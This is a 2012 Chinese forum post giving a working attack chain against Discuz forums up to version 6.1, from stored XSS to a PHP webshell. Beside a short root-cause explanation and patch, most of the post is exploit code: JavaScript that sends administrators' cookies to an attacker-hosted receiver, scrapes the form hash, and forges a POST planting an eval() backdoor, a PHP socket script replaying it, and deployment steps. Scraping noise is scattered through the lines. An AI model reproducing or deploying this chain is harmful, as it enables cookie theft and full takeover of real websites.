找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3848|回复: 0
打印 上一主题 下一主题

Discuz XSS得webshell

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:11:49 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Discuz XSS得webshell1 v# j( z* D/ M3 }1 c" T: G
By racle @tian6.com
+ j; q5 f6 x, x9 W欢迎转帖.但请保留版权信息.7 B& F, [8 \# n( k1 v& L, w
受影响版本iscuz<=6.1.0,gbk+utf+big51 r- N5 S" T- g) _) J/ m
2 e( U& o6 S5 w& p' a9 G: G
新增加完全JS利用版本,只有一个文件.ajax-racle.js.有效版本提升至DZ6.1(理论上7.0版本都可以,但是6.1以上版本都已经默认打上补丁),新增浏览器版本判断,对方浏览器为IE或FIREFOX都有效.) T  |1 Z, ?0 c

& R( G5 ]3 V8 o. ^; y% o$ W
. o# ?3 y! B& A6 O$ ?3天前有朋友在论坛问过,说Discuz有个非论坛创始人获得WEBSHELL的漏洞,是superhei早前发出来的一大堆DISCUZ漏洞之一.见原帖:http://bbs.tian6.com/redirect.ph ... 54794&ptid=8706: ?1 i7 ], z% j8 ~. X5 v9 n; B/ J
当时我说一会就弄出来给大家,但是实际上一接触,发现这个漏洞本身需要管理员后台权限,要广泛普遍的利用还是很复杂的,主要是以下几个问题,所以拖到今天才基本完工.
* v, B% A; x3 O, p, r' {2 f; `8 r
( [8 e! u1 `" o% e. ]! @3 E分析和写EXP的过程中,得到t0by57,Superhei的大力帮助.他们PHP和JS都不错的哦!希望大家看这篇文章时,更注意分析和明白的过程,毕竟XSS是目前WEB安全的最大头戏.各种形式:XSIO,Cross Iframe Trick,crsf等等..! p& \) N: K1 H, F5 D; @( b
本帖补充其中一个FLASH XSS应用方法:配合Discuz得shell-Flash XSS
  E% d+ X  B& b
% }* C1 H. U# _$ U
" l5 N" Z9 l; q: ^4 Z4 I$ b----------------------------------------------------------前言分隔线-----------------------------------------------------------------------------3 R8 B9 {4 r$ h% D9 b( u% ~

" P  ^% O  i4 ^6 W. K* l
5 S  Q" x7 K: j8 t1 h$ s4 fproblem1:漏洞页面runwizard.inc.php数据提交方式为post.需要模拟POST提交.( r! s. U( @+ @
  \! U- _/ E, O- i8 u0 s7 h9 F
problem2ISCUZ论坛在数据提交的时候还验证了referer,因此还要伪造一下.php socket和js都可以伪造referer.
6 A: V9 S# `6 w; w8 {2 E0 u4 |" \7 ~. g2 N; l) l
problem3:formhash()函数采用了用户名+密码+XXX的算法得出,程序本身没办法模拟算出来,于是又耗费了我一段时间,最终想到个傻办法,从源代码里读出来.呵呵.这里是参考了superhei的一个旧EXP想出来的.# l; u  g  a+ N3 O& p& n2 K6 E

( @$ [; A) ~2 O4 Q8 F  a: s
8 R5 A7 o1 w! o: s下面,我为大家简单说说这个漏洞的成因和补的办法.这里是有漏洞的文件代码:bbs/admin/runwizard.inc.php,里面有个函数function saverunwizardhistory() {" ~" j1 }: a6 V4 N0 w7 ?+ F8 ^
, N$ B4 p1 s- K. T( B, U0 [
        global $runwizardfile, $runwizardhistory;
* E" \7 N9 d2 o2 k  B
9 r' U/ D- I" p% N- R3 d        $fp = fopen($runwizardfile, 'w');6 d+ x2 [0 i0 u; Y( g

3 ?% `2 b3 a" r3 u; r        fwrite($fp, serialize($runwizardhistory));1 E' x' g2 t9 ?; A1 k' H/ J5 p
& g5 e& b; W1 M( B
        fclose($fp);/ A2 G, H7 i  m( @; L
# V/ `& C: m; x. C  u
}0 U5 F3 O0 r( ^# }6 A" P% O
复制代码serialize($runwizardhistory)直接就写进$fp里.runwizardhistory是什么呢?是论坛一些基本的配置信息,譬如论坛名.反应在论坛后台,位置是:discuz.com/bbs/admincp.php?action=runwizard&step=2.论坛名称,地址等三项信息都没任何过滤.该三项内容任何一项都可以直接写入一句话,提交,然后保存在缓存:bbs/forumdata/logs/runwizardlog.php里.
  y/ w& [# Z' P3 I) \; l以下是修补的办法:function saverunwizardhistory() {2 {: u3 _/ ^" _" q

! _; B2 a* h3 D; f: v* D        global $runwizardfile, $runwizardhistory;
. J( ^3 l9 Z2 P- }# z7 W* A7 w& R+ N
        $fp = fopen($runwizardfile, 'w');& O1 s6 \0 C8 y  f
7 g' ?0 O& U. i' k5 x2 F$ q
        $s = '<?php exit;?>';
8 K; y1 F2 r7 @" {  T3 k* D' i4 Q5 \' y; `" z, f1 b
        $s .= serialize($runwizardhistory);* B# h, g6 q' F5 B5 w% \3 ^9 B
/ o7 s# a) A* J( p2 ?# D; |
        fwrite($fp, $s);
2 i* ^3 f# u/ \/ v0 ?
! A( A, g* C* {/ q        fclose($fp);
! A5 y7 \' K2 F! X. R3 u& R( a  s' A+ c5 O: K
}
4 k- ~- ~- F1 a1 j$ P复制代码加写 '<?php exit;?>';到最前面,退出并且忽略该文件后面所有PHP代码.这么即使里面有一句话,也不能再被执行.
0 u0 C( Q4 @2 F+ }2 J1 _* P- V$ f
7 `7 A$ F  b/ ?# d  n2 o( o1 L& u  i# T8 n( |5 Y- k
' {6 A. D- g+ _9 c
----------------------------------------漏洞的成因和利用方法分隔线-----------------------------------------------------------------------------% D  Y6 ~' L& L  A

! l$ W/ P) O9 Q' c; \4 _5 y2 Y7 @7 U+ @
  以上是该漏洞的成因和利用方法.大家看到这里,估计也认为这是个鸡肋漏洞了吧,首先要有管理员权限,有后台权限,然后才能上WEBSHELL,实话说,有后台权限,拿SHELL的办法也并不止这一个.所以这个洞的价值,看起来就不大了.当然,这个已经被发布的nday不是我本帖要讲的重点.这里我主要是想告诉大家,将XSS,Crsf和本漏洞联合起来的办法.这样该洞价值就大很多了.3 `8 N! C2 i4 ?# m0 b4 o( E* O
* j# l0 y3 b$ D; L
我们的思路是:论坛上有个xss点,Crsf flash(的确有,Discuz! member.php xss bug,Discuz! 数据库错误信息xss bug,Discuz! flash Crsf bug,Discuz! admincp.php xss bug,Discuz![flash] xss bug),管理员点击或浏览后,就执行了我们的JS,带他到外部一个JS中,通过JS获得他的COOKIES,获得他的HASH,然后经过外部一个PHP封装SOCKET以POST的形式提交前面说的动作,如果论坛没有补上该问题(目前没几个论坛补了.当然,天阳已经补了.^^),那么就会产生bbs/forumdata/logs/runwizardlog.php这个WEBSHELL.5 O* j+ `* t$ x0 z# d/ I
* O4 x8 o! L6 i
这篇文章主要不是给大家个EXP,然后让大家拿着到处乱黑的,主要是讲方法,讲思路.因为这里学问不少.. W5 a' x8 E4 A8 x" E: d
) \, k; X9 t' h4 M& a
首先我们要看,怎么通过JS,获得管理员COOKIES,然后把COOKIES传递给最终提交的PHP.获得的办法相信大家都知道,但是传递的办法,譬如以图片形式传递,就非常稳定和实用.是实现AJAX本地语言到服务器语言PHP的好办法.JS部分代码:% S1 \$ P+ i+ @0 A3 y

1 }0 u- f/ A% o2 x$ `6 Hvar url="http://目标网站/admincp.php";      
- a: ?- S# b+ s) L9 Q5 G% S
' p; M/ k  K2 {& Z/*获得cookies*/0 `2 Q% i* l5 S7 g6 S$ z
! d7 w  A3 Z+ t3 m
function getURL(s) {' X4 b3 ?( e0 d: a& b$ v" p" V- e
- I2 @3 J9 \- D
var image = new Image();7 B! @7 e+ n7 e
5 `$ a) [! t+ {1 b3 W
image.style.width = 0;
  w7 O# b. P4 S- z
6 k7 t1 D$ \4 p( |& v. H) Rimage.style.height = 0;
+ ~$ E( K% \4 p$ j$ R
: n! D5 G. X2 [$ Ximage.src = s;
9 }, ]( S7 H' v+ [+ R5 f) e
8 @1 r3 X/ O( H( K! K}: Y% J0 Q( t( F+ D' v: d# O

3 f: a/ I9 p0 K2 o0 n0 O# PgetURL("我们做好的接收cookies的.php?x="+encodeURIComponent(document.cookie));  //这里就通过image变量传给了php# h" W# D7 ~7 g
复制代码php以get方式接收过来的变量.$cookies=$_GET['x'];
+ g* d& q/ \. e; q4 W复制代码同理,hash我也是这么传到PHP里.不过HASH的获得方法也是很有意思的,众所周知,discuz有formhash来保护每个授权访问的唯一性.但是你也可以发现,在论坛页面用户退出的地方,引用了这个hash.我们要做的,就是从页面的源文件里搜索出hash,筛选出来,传递给PHP即可.筛选的办法很多,你有兴趣的话,可以看看我的筛选JS代码(而且这里discuz其实还留了一手,呵呵) ( x& @% C: I' S' _) F7 y  m
8 |: `% d1 }8 B6 M* @) a2 e" R; z

4 K8 ^; Z8 Y, {* M获得了cookies和hash以后,我们需要结合完整数据,做一次模拟提交,大家可以看看,这个是我之前写好的AJAX提交方式:var url="http://tian6.com/raclebbs/";( T: \0 a) ~1 D) W
" L, y, U3 M) K! {3 f$ F/ Z6 ?6 l
9 A* z- T: w* T1 _( t( m: w: i. `

- T# b* \0 ]. ]+ J- ?8 z6 y1 B/*hash*/5 V2 h2 Y0 _8 ]2 C/ x
+ W0 k1 X( h- @' }8 Y* a
var xmlHttpReq = new ActiveXObject("MSXML2.XMLHTTP.3.0");- w  e* Q8 O, J, U3 F
9 N- W" F8 o0 h1 r
xmlHttpReq.open("GET", url+"admincp.php?action=home", false);
4 Y6 P) ]4 g) H4 a7 c! l  l  m- Y) C  \/ t0 U
xmlHttpReq.send();" h. U" O6 E2 e2 f3 `. f
& T4 y7 l2 `) P+ j8 Z4 L7 O; ]
var resource = xmlHttpReq.responseText;
& A9 d. [& g  [* a- K
5 X3 M- q; _, tvar numero = resource.search(/formhash/);: }- v* v" H! P7 }! U' R4 z7 i
+ F" Z; ^3 o( [. V$ i5 L! o1 K7 f
var formhash=encodeURIComponent(resource.substr(numero+17,8));
/ a! Q+ \8 l  k( k9 B- h7 M! W* `
) Q( d) b  z* R) ^3 L0 s. s' s; {2 o- @& E+ r
8 a. a/ U, X4 {( k% H
var post="formhash="+formhash+"&anchor=&settingsnew%5Bbbname%5D=1&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5";//构造要携带的数据
3 F8 P3 l6 `- i' m9 w1 D' q( D* _
1 k) |- _5 Q& w& J) LxmlHttpReq.open("OST",url+"admincp.php?action=runwizard&step=3",false);//使用POST方法打开一个到服务器的连接,以异步方式通信
& n9 ~: v" ]3 }) v. q7 d: I# Y( u* K4 a: Y& ]$ `- S& T
xmlHttpReq.setRequestHeader("Referer", url);
, `" V+ q8 b/ D6 s7 A# g' r/ k+ ?1 s$ V( V8 J5 s: K
xmlHttpReq.setrequestheader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
* ^2 ~$ I+ h2 K3 G
4 S5 G5 @2 B  ^xmlHttpReq.setrequestheader("content-length",post.length);
4 V: d8 D  c$ M0 m# y  g4 i2 J1 u0 D$ S) Q
xmlHttpReq.setrequestheader("content-type","application/x-www-form-urlencoded"); 5 `, ~! p4 ^/ Y7 Q  T7 u
. ^. J3 k. v9 g$ x2 a& X
xmlHttpReq.send(post);//发送数据) w5 {4 K& i& v- E+ A
复制代码这里HASH我假设正确,这样提交,也无须cookies
& d$ e  q) G# c) j( l3 E; ~/ O/ v8 B: |/ D7 `3 A/ u
再看看以PHP SOCKET形式提交.$sock = fsockopen("$url", 80, $errno, $errstr, 30);
, g. R- p$ W2 N/ c, R5 R* J) m0 U7 a( i  m
if (!$sock) die("$errstr ($errno)\n");, t+ R1 E1 R/ k* w1 {) i

7 R. ]( k4 f, y) B# S' |$data = 'formhash='.$hash.'&anchor=&settingsnew%5Bbbname%5D=Discuz&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5';
& H: X$ v% p9 }, L, t, V  t* T8 q2 e) e, y  a6 h/ ]
' ~. W) _5 F5 u1 E9 k/ `1 F: a

+ i$ D' v% z5 b" l$ R  Nfwrite($sock, "OST http://$url/admincp.php?action=runwizard&step=3 HTTP/1.1\r\n");
- r  s9 B; g7 R& p! A
3 F8 C3 u; {2 P& f3 F2 r6 wfwrite($sock, "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\r\n");$ B7 }$ h  m! t3 C+ @

* M1 O. h1 X; `* L( jfwrite($sock, "Referer: http://$url/admincp.php?action=runwizard&step=2\r\n");
# V3 S* |" ~$ z, A
8 J$ c0 @  G2 T% Q( E) vfwrite($sock, "Accept-Language: zh-cn\r\n");0 ^$ v- v3 z4 k) d$ V

) j( k+ {0 @, n( R4 _fwrite($sock, "Content-Type: application/x-www-form-urlencoded\r\n");" Q# H" P, q/ U8 u6 H3 O

* Y- Z: @" _! `: D6 l( pfwrite($sock, "Accept-Encoding: gzip, deflate\r\n");& }  T- @, W7 h% t4 ]$ r9 @$ I/ g
  n  I4 C7 V, k+ R
fwrite($sock, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) ; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) (Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)); .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n");
, {$ k9 `# r, e
9 D  }4 |3 P. l  }$ c/ ^fwrite($sock, "Host: $url\r\n");
1 a! ?, g) v8 ?2 {: A7 ^! m
- X+ A8 C7 Q" t; e1 }: ffwrite($sock, "Content-Length: ".strlen($data)."\r\n");/ G/ g6 k1 a6 W: G/ z7 |9 j

& \+ ~1 z5 u) Qfwrite($sock, "Connection: Keep-Alive\r\n");0 c3 f3 A' J5 b

! r% _8 f- [. f; W0 cfwrite($sock, "Cache-Control: no-cache\r\n");
9 Q3 j' E# g4 C) ?0 ~# T
7 {8 d6 Q! E6 k0 |fwrite($sock, "Cookie:".$cookies."\r\n\r\n");5 y0 \' O8 Z: v* [; r! Y5 l* J" F

* ~3 u- Y& {; p% M  I3 R2 U0 m" Afwrite($sock, $data);, a/ }  C: g) V+ i, R
' M7 ]- @+ {9 b& N
  x& w& z; z( G7 ?
, ~( o4 g: q# Q4 }
$headers = "";
' [& L3 U8 W  ^8 m, T
1 f3 T, h4 O* r! Q6 Fwhile ($str = trim(fgets($sock, 4096)))/ V$ x- g7 {4 O( c8 s- h

# r! K% `$ I4 q& ^     $headers .= "$str\n";: Z. c/ V" \6 [
, W7 Z9 Y, [. [, Y8 F( R' w
echo "\n";+ D0 d! Q$ q5 G; D3 a2 F' P" R
. A1 P- `& i' p( o/ L1 Z
$body = "";
1 {) o0 g4 m: P/ K4 J  G. o0 W, H' f
while (!feof($sock))
& R' M+ Y! b' \% G, d% K  U; V
0 {  b2 s7 r! [. |- p; G+ X0 w     $body .= fgets($sock, 4096);9 _9 D! y' f2 {: H' h

+ o2 ~8 H2 h# O$ Q: F' @fclose($sock);2 L4 D1 @7 U0 O+ n/ P! Y$ B
1 K0 C: \+ V  f, I2 ?* B
echo $body;
5 h  `2 C# S5 i2 }; {复制代码整个漏洞XSS应用大致如此,下面附上JS文件,PHP封装好的提交文件.利用文件限制一下,已注册用户才可以下载,刚来也没关系,仔细看看前面的分析,你也差不多能写出来.^^  p/ U  z- H0 \0 G7 q
# \$ A) c: i, L, }& S/ `. x- ]
; v& `& ]2 J/ w( c3 e  z
-------------------------------------------XSS文件分析分隔线-----------------------------------------------------------------------------
" @+ `! ~. u8 _
) d. {9 ]) ?3 g: ?+ Y
8 B' Y, \: w/ V1HP SOCKET利用方法首先打开racle.js
% e2 X& g# s4 W5 S5 b
! N- t8 b2 ?- svar url="http://tian6.com/raclebbs/admincp.php?action=home"; //改成你要XSS攻击的目标,譬如http://www.discuz.com/admincp.php?action=home; T3 T! N: D% E6 N
2 |% J% `. e4 N- Q' c) s+ [3 N
2 Z+ D1 V/ r8 o( |
8 E! V* K3 w% N+ X, ?# _$ x. }
然后打开racle@tian6.php; _1 K* H7 Q) W. Y

/ V: L" C# Y% P" g5 @$url="racle@tian6.com";   //改成你要XSS攻击的目标,譬如www.discuz.com' d3 @4 Q( P8 u0 b$ y5 H

. ~" l) G  g2 X8 ]4 ^* v9 x4 T
# Z" z7 k3 f5 \; ?: _' h- o; _6 u* }$ L3 T
如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:( m# L+ ?, r: s6 a! Y5 u
2 c! @6 E. Z* T- k
getURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+17,8))+"&x="+encodeURIComponent(document.cookie));) P( \% m% b! ]2 f0 t. @$ W& b

2 Q, l: x. j0 @* T
2 Q% e: B, ]) E+ F& P0 O+ u5 |$ N; R  r7 t! n( n3 h" N
getURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+9,8))+"&x="+encodeURIComponent(document.cookie));
9 t6 l' h' z. K6 n) I7 B9 e: E复制代码2:JS利用方法打开ajax-racle.js,修改var url="http://tian6.com/raclebbs/";为你要攻击的论坛地址.3 s# s8 t! G# \5 Q: K3 L3 Z6 v

0 m- ]* F3 x; Z1 X9 g! `( F$ o1 C( s+ \3 Z

9 L6 v2 m2 N% Z  \. F7 x3 z4 N如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:
# y' L% }4 T  O2 y# g* c0 H# z" c; O$ A# r4 H/ d" ~4 M
var formhash=encodeURIComponent(resource.substr(numero+17,8));
* C5 X+ d! Z; E7 l: Q  b1 K/ |8 y6 \8 a

- m$ z' R8 [% ]% R5 y# f: C* u  J1 `" d' S4 I/ V
var formhash=encodeURIComponent(resource.substr(numero+9,8));
: ~9 R; e& z" v. r7 q1 a复制代码ok.以上两种方法则其一.在攻击前,我们应该先看看论坛打上补丁没有,你可以尝试访问:http://target.com/bbs/forumdata/logs/runwizardlog.php,如果一片空白,那就没戏咯.不是空白就会有些论坛信息出现,但也不代表就肯定存在漏洞,因为可能人家补过之后没有更新过论坛信息而已.目前来说,有8成把握吧.
7 o& M2 B8 T& {6 N2 w
: J, g& w# L8 {# a如果是第一种方法,就把racle.js,还有racle@tian6.php文件上传到一个可以执行PHP的地方,譬如你以前拿下的WEBSHELL里.两个文件需在同一目录下.记得该空间要支持PHP.然后在论坛以<script src=http://你放好的地方/racle.js></script>构造好XSS点.% F7 n' e/ R: v/ r* T" p) A
/ w: F% J) D- P4 g7 z
如果是第二种方法,就把ajax-racle.js,上传到一个你以前拿下的WEBSHELL里,然后在论坛以<script src=http://你放好的地方/ajax-racle.js></script>构造好XSS点.* c! E  L/ c8 R! j/ H: h: O$ N4 z* w2 b
' p' s5 N) h7 ~) X7 ~9 K$ V
不管你用什么方法,等到管理员一点该连接或者浏览一下论坛,他论坛bbs/forumdata/logs/runwizardlog.php里就多了个<?php eval($_POST[racle])?> ^^.赶紧拿控制端连上去吧.( H' q3 z' F0 v9 ~2 V4 m1 _: A# o

- F4 _8 m  i' _5 N: N6 H
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表